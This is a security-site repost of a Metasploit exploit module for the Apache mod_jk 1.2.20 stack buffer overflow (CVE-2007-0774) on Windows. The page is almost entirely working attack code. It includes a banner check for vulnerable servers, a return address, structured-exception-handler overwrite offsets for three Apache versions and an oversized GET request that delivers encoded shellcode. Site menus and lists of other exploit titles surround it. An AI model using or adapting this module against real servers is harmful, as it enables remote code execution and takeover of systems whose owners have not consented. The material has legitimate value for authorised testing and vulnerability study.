首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Metasploit module for the buffer overflow vulnerability in Apache mod_jk version
来源:www.vfocus.net 作者:Nicob 发布时间:2007-07-10  
require 'msf/core'

module Msf

class Exploits::Windows::Http::Apache_Mod_JK < Msf::Exploit::Remote

	include Exploit::Remote::Tcp
	include Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Apache mod_jk 1.2.20 Buffer Overflow',
			'Description'    => %q{
				This is a stack overflow exploit for mod_jk 1.2.20.
				Should work on any Win32 OS.
			},
			'Author'         => 'Nicob <nicob[at]nicob.net>',
			'Version'        => '$Revision: 4961 
, 'License' => MSF_LICENSE, 'References' => [ [ 'BID', '22791'], [ 'CVE', 'CVE-2007-0774' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-07-008.html'], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 4000, 'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c", 'EncoderType' => Msf::Encoder::Type::AlphanumUpper, 'MaxNops' => 0, }, 'Platform' => 'win', 'Targets' => [ # POP/POP/RET in mod_jk 1.2.20 (Apache 1.3.37, 2.0.58 and 2.2.3) ['mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)', { 'Ret' => 0x6a6b8ef1 }], ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80) ], self.class ) end def check connect sock.put("GET / HTTP/1.0\r\n\r\n") resp = sock.get_once disconnect if (resp and (m = resp.match(/Server: Apache\/(.*) \(Win32\)(.*) mod_jk\/1.2.20/))) then print_status("Apache version detected : #{m[1]}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Safe end end def exploit connect uri_start = "GET /" uri_end = ".html HTTP/1.0\r\n\r\n" sc_base = 16 shellcode = payload.encoded sploit = Rex::Text.rand_text_alphanumeric(5001, payload_badchars) sploit[sc_base, shellcode.length] = shellcode # 16 : Apache/1.3.37 (Win32) mod_jk/1.2.20 # 20 : Apache/2.0.59 (Win32) mod_jk/1.2.20 # 21 : Apache/2.2.3 (Win32) mod_jk/1.2.20 seh_base = 4087 [ 16, 20, 21 ].each { |x| seh_offset = seh_base + (16 * x) sploit[seh_offset - 9, 5] = "\xe9" + [sc_base - seh_offset + 4].pack('V') sploit[seh_offset - 4, 2] = "\xeb\xf9" sploit[seh_offset , 4] = [ target.ret ].pack('V') print_status("Inserting custom SEH at offset #{seh_offset} ...") } print_status("Trying target #{target.name}...") sock.put(uri_start + sploit + uri_end) resp = sock.get_once if (resp and (m = resp.match(/<title>(.*)<\/title>/i))) print_status("The exploit failed : HTTP Status Code '#{m[1]}' received :-(") end handler disconnect end end end
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache mod_jk versions 1.2.19
·WinPcap <= 4.1 NPF.SYS Privile
·Sun Java WebStart JNLP Stack B
·Apache Tomcat Connector (mod_j
·FlashBB <= 1.1.8 (sendmsg.php)
·AV Tutorial Script 1.0 Remote
·Program Checker (sasatl.dll 1.
·Chilkat Zip ActiveX Component
·Mail Machine <= 3.989 Local Fi
·NeoTracePro 3.25 ActiveX Trace
·Linux Kernel < 2.6.20.2 IPV6_G
·SAP DB 7.4 WebTools Remote SEH
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved